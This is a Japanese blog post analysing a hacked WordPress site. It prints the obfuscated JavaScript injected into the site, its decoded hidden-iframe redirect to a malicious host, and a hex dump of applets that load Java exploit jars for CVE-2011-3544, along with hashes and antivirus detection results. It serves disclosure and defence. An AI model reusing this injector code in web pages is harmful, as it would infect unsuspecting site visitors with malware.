WordPress 増える改竄被害

こんにちは。またお久しぶりの投稿となってしまいました。
並びに延べ2万アクセス突破ありがとうございます。
もう3月ですよ~、しかも今日は桃の節句、雛祭りですよ。〽あかりをつけましょ ぼんぼりに…


さて、今回は「WordPress」の激増する改竄被害について取り上げます。
というのは1月下旬、検索で行き着いたあるWordPressで運用されたブログが改竄されていたのを発見したためです。
(ちなみに管理者には既に連絡し、対応して頂きました)

注:続きを見る方へ。掲載しているスクリプトコードがセキュリティ対策ソフト等で検出される場合があります。

まず、気づいたきっかけはページを表示するとGoogle ChromeよりJavaプラグインの実行許可を求められたことです。
(いつから実装されたのか忘れましたが、ChromeにはAbobe Flashなどの広くWebサイトに利用されているプラグイン以外には、実行許可を求めるようになっています。→ 詳細
不審に思いソースコードを確認したところ、難読化されたJavaScriptが挿入されていました。
見やすいよう整形した実際のコードを以下に示します。

if (window.document) aa = (Number + Date).substr(0, 4);
aaa = ([].sort + [].sort).substr(0, 4);
if (aa === aaa) {
    ss = '';
    s = String;
    12 - function ()
    {
        e = window['e' + 'v' + 'a' + 'l'];
    }();
    t = 'w';
}
h =- 2;
n = ["4.5w4.5w52.5w51w16w20w50w55.・・・<省略>・・・.5w54w50w20w51w20.5w29.5w4.5w4.5w62.5"];
n = n[0].split(t);
for (i = 0; i - n.length < 0; i++) {
    ss = ss + s.fromCharCode(-h * n[0 + i]);
}
e(ss);

実際にe(ss);で実行されているコードは以下のようになります。

if (document.getElementsByTagName('body')[0]) {
    iframer();
}
else {
    document.write("");
}
function iframer()
{
    var f = document.createElement('iframe');
    f.setAttribute('src', 'hxxp://loafqq.monbe.be/showthread.php?t=63942072');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

このように実際の動作としては、見ての通り不可視なiframeを埋め込んで不正なサイトにアクセスさせています。
そして、埋め込まれたiframeのHTTPレスポンスのキャッシュが以下のものです。

00000000:  ba  00  00  00  02  00  00  00  65  15  5d  44  54  16  2e  00  ........e.]DT...
00000010:  02  5d  69  44  54  16  2e  00  89  00  00  00  48  54  54  50  .]iDT.......HTTP
00000020:  2f  31  2e  31  20  32  30  30  20  4f  4b  00  53  65  72  76  /1.1 200 OK.Serv
00000030:  65  72  3a  20  6e  67  69  6e  78  00  44  61  74  65  3a  20  er: nginx.Date: 
00000040:  4d  6f  6e  2c  20  33  30  20  4a  61  6e  20  32  30  31  32  Mon, 30 Jan 2012
00000050:  20  31  32  3a  32  38  3a  32  31  20  47  4d  54  00  43  6f   12:28:21 GMT.Co
00000060:  6e  74  65  6e  74  2d  54  79  70  65  3a  20  74  65  78  74  ntent-Type: text
00000070:  2f  68  74  6d  6c  00  58  2d  50  6f  77  65  72  65  64  2d  /html.X-Powered-
00000080:  42  79  3a  20  50  48  50  2f  35  2e  32  2e  31  37  00  43  By: PHP/5.2.17.C
00000090:  6f  6e  74  65  6e  74  2d  4c  65  6e  67  74  68  3a  20  31  ontent-Length: 1
000000a0:  31  35  38  00  00  00  00  00  0d  00  00  00  39  35  2e  31  158.........95.1
000000b0:  36  33  2e  36  37  2e  31  38  39  00  00  00  50  00          63.67.189...P.
00000000:  3c  68  74  6d  6c  3e  3c  68  65  61  64  3e  3c  74  69  74  <html><head><tit
00000010:  6c  65  3e  3c  2f  74  69  74  6c  65  3e                      le></title>     
00000120:                                                      3c  2f  68               </h
00000130:  65  61  64  3e  3c  62  6f  64  79  3e  3c  73  63  72  69  70  ead><body>
000001d0:      3c  61  70  70  6c  65  74  20  63  6f  64  65  3d  22  64   <applet code="d
000001e0:  61  66  76  77  6c  6e  68  6c  77  66  6e  77  70  75  70  2e  afvwlnhlwfnwpup.
000001f0:  63  6c  61  73  73  22  20  61  72  63  68  69  76  65  3d  22  class" archive="
00000200:  68  74  74  70  3a  2f  2f  6c  6f  61  66  71  71  2e  6d  6f  http://loafqq.mo
00000210:  6e  62  65  2e  62  65  2f  73  68  6f  77  74  68  72  65  61  nbe.be/showthrea
00000220:  64  2e  70  68  70  3f  74  3d  38  33  34  37  35  22  20  77  d.php?t=83475" w
00000230:  69  64  74  68  3d  22  31  34  33  22  20  68  65  69  67  68  idth="143" heigh
00000240:  74  3d  22  31  34  33  22  3e  3c  70  61  72  61  6d  20  6e  t="143"><param n
00000250:  61  6d  65  3d  22  35  65  63  35  35  62  39  37  22  20  76  ame="5ec55b97" v
00000260:  61  6c  75  65  3d  22  39  66  66  65  37  65  61  38  30  32  alue="9ffe7ea802
00000270:  37  35  61  35  63  33  34  33  65  65  63  61  38  38  38  31  75a5c343eeca8881
00000280:  38  37  32  35  33  66  22  20  2f  3e  3c  70  61  72  61  6d  87253f" /><param
00000290:  20  6e  61  6d  65  3d  22  72  6f  6e  64  61  22  20  76  61   name="ronda" va
000002a0:  6c  75  65  3d  22  6f  57  57  64  43  49  49  66  5a  4b  50  lue="oWWdCIIfZKP
000002b0:  6d  6d  4f  39  5a  76  4e  54  4f  4e  54  49  2d  6f  5a  26  mmO9ZvNTONTI-oZ&
000002c0:  57  6f  52  54  4b  3d  4f  64  6f  64  31  57  77  67  22  20  WoRTK=Odod1Wwg" 
000002d0:  2f  3e  3c  70  61  72  61  6d  20  6e  61  6d  65  3d  22  36  /><param name="6
000002e0:  62  35  63  65  36  32  64  22  20  76  61  6c  75  65  3d  22  b5ce62d" value="
000002f0:  61  37  63  31  64  62  31  35  35  65  31  62  63  37  64  39  a7c1db155e1bc7d9
00000300:  66  64  32  36  62  30  63  31  63  62  32  61  61  62  30  64  fd26b0c1cb2aab0d
00000310:  22  20  2f  3e  3c  2f  61  70  70  6c  65  74  3e  3c  61  70  " /></applet><ap
00000320:  70  6c  65  74  20  63  6f  64  65  3d  22  68  62  6d  6c  74  plet code="hbmlt
00000330:  2e  72  72  71  63  68  6b  6c  75  76  63  79  61  6a  6a  72  .rrqchkluvcyajjr
00000340:  71  61  64  75  63  2e  63  6c  61  73  73  22  20  61  72  63  qaduc.class" arc
00000350:  68  69  76  65  3d  22  68  74  74  70  3a  2f  2f  6c  6f  61  hive="http://loa
00000360:  66  71  71  2e  6d  6f  6e  62  65  2e  62  65  2f  73  68  6f  fqq.monbe.be/sho
00000370:  77  74  68  72  65  61  64  2e  70  68  70  3f  74  3d  34  39  wthread.php?t=49
00000380:  32  38  31  22  20  77  69  64  74  68  3d  22  31  34  33  22  281" width="143"
00000390:  20  68  65  69  67  68  74  3d  22  31  34  33  22  3e  3c  70   height="143"><p
000003a0:  61  72  61  6d  20  6e  61  6d  65  3d  22  39  61  62  39  34  aram name="9ab94
000003b0:  39  30  33  22  20  76  61  6c  75  65  3d  22  37  39  34  66  903" value="794f
000003c0:  33  64  32  32  66  30  62  30  34  36  37  33  64  39  30  32  3d22f0b04673d902
000003d0:  33  36  31  64  30  31  64  34  36  61  31  65  22  20  2f  3e  361d01d46a1e" />
000003e0:  3c  70  61  72  61  6d  20  6e  61  6d  65  3d  22  72  69  76  <param name="riv
000003f0:  65  72  73  69  7a  65  72  22  20  76  61  6c  75  65  3d  22  ersizer" value="
00000400:  6f  57  57  64  43  49  49  66  5a  4b  50  6d  6d  4f  39  5a  oWWdCIIfZKPmmO9Z
00000410:  76  4e  54  4f  4e  54  49  2d  6f  5a  26  57  6f  52  54  4b  vNTONTI-oZ&WoRTK
00000420:  3d  4f  64  6f  64  31  57  77  70  22  20  2f  3e  3c  70  61  =Odod1Wwp" /><pa
00000430:  72  61  6d  20  6e  61  6d  65  3d  22  34  65  32  64  32  34  ram name="4e2d24
00000440:  34  65  22  20  76  61  6c  75  65  3d  22  31  66  62  65  35  4e" value="1fbe5
00000450:  31  35  64  62  39  61  63  62  63  31  35  65  30  62  39  65  15db9acbc15e0b9e
00000460:  65  66  61  34  61  64  30  30  64  33  30  22  20  2f  3e  3c  efa4ad00d30" /><
00000470:  2f  61  70  70  6c  65  74  3e  3c  2f  62  6f  64  79  3e  3c  /applet></body><
00000480:  2f  68  74  6d  6c  3e                                          /html>

※一部データが抜けていますが、BitDefender2012のWeb保護関係のコードがインジェクションされていたのを除去したためです。
これを見てみると、以下の2つのJava Appletが埋め込まれていることがわかります。

==================================================
Filename          : 2e0035d5.jar
URL               : http://loafqq.monbe.be/showthread.php?t=83475
Content Type      : application/java-archive
File Size         : 16,412
Server Time       : 2012/01/30 22:22:32
Server Name       : nginx
Server Response   : HTTP/1.1 200 OK
==================================================

==================================================
Filename          : c9259e1e.jar
URL               : http://loafqq.monbe.be/showthread.php?t=49281
Content Type      : application/java-archive
File Size         : 11,864
Server Time       : 2012/01/30 22:27:51
Server Name       : nginx
Server Response   : HTTP/1.1 200 OK
==================================================

どちらも「CVE-2011-3544」という比較的最近のJavaの脆弱性を突いたExploitです。
JRE 6 Update 27とそれ以前のJREをインストールされた環境では攻撃が成功し何らかのマルウェアに感染した可能性がありました。

また、以下はそのjarファイルをVirusTotalに投げた結果です。

File name:2e0035d5.jar
MD5:45506395884d542068fcd39ab63157dd
Detection ratio:0 / 43
Analysis date:2012-01-30 13:26:52 UTC
https://www.virustotal.com/file/ff1a8129802655fd1e45a29b2329159a2afc40bbccb2ad2ed073c94ed228e98e/analysis/1327930012/
Detection ratio:18 / 43
Analysis date:2012-03-03 14:43:51 UTC
https://www.virustotal.com/file/ff1a8129802655fd1e45a29b2329159a2afc40bbccb2ad2ed073c94ed228e98e/analysis/1330785831/

File name:c9259e1e.jar
MD5:6ca56d1df8e07747e3fcc2b090b784cf
Detection ratio:0 / 43
Analysis date:2012-01-30 13:29:07 UTC
https://www.virustotal.com/file/2b863cfd204781db5ea4ad42aa39ef97dbc0d294dd13dc86904a04de215b560a/analysis/1327930147/
Detection ratio:15 / 40
Analysis date:2012-02-03 09:05:37 UTC
https://www.virustotal.com/file/2b863cfd204781db5ea4ad42aa39ef97dbc0d294dd13dc86904a04de215b560a/analysis/

私が改竄されたブログを訪問した2012/1/30時点ではどのアンチマルウェアエンジンも検出できていませんでした。
主要ベンダーには検体を提供したので数日で対応していたようです。
ただ、こうしたマルウェアは変化が非常に速いので、セキュリティソフトだけでなく、脆弱性対策がやはり重要となってきます。

また、改竄されたブログを調査のため何度もアクセスしたわけですが、改竄コードが含まれていたり含まれていなかったりしたのです。
実際に改竄されたサーバー側のPHPスクリプトを見ない限り確実なことは分かりませんが、同じような改竄被害の情報を調べてみた限りでは、User Agentによって判別しているケースなどもありました。
ユーザーによって見え方が違うため発見が遅れる場合などもありそうです。


今回の改竄被害を調べるに当たり、同様の被害が世界的に広まっていることもわかりました。
昨年のTimThumb.php脆弱性問題を始め、古いWordPress本体、及びプラグインから攻撃・改竄に至ることが大多数でしょう。
近年では特別な知識なしにホスティングサービスを利用し、WordPressなど様々なWebアプリケーションを構築することができます。
それこそボタン一つで自動インストールできる機能も最近では珍しくなくなりました。
しかし、それが古いバージョンのままであったり、アップデート作業を煩雑だと思う利用者も少なくありません。
ただ、サイトが改竄されれば、その何十倍何百倍アクセスした人に危険が及びます。
現に、世界中でそのようにマルウェア配布サイトと化してしまったブログやサイトが沢山あるのです。
背後にはExploit Kitの普及もあるでしょうし、数々のWebアプリケーションに有効な攻撃手段があるためです。
個人ブログ・サイトを攻撃サイトへの踏み台とすることはマルウェアを効率よく感染させる手段として、攻撃者の間では流行と言ってもいいでしょう。

こうした事実を周知したうえで、運営者はセキュアな運用に努めて参るとともに、ユーザーに対しても脆弱性対策の重要性を訴えていくことが必要でしょう。

comments powered by Disqus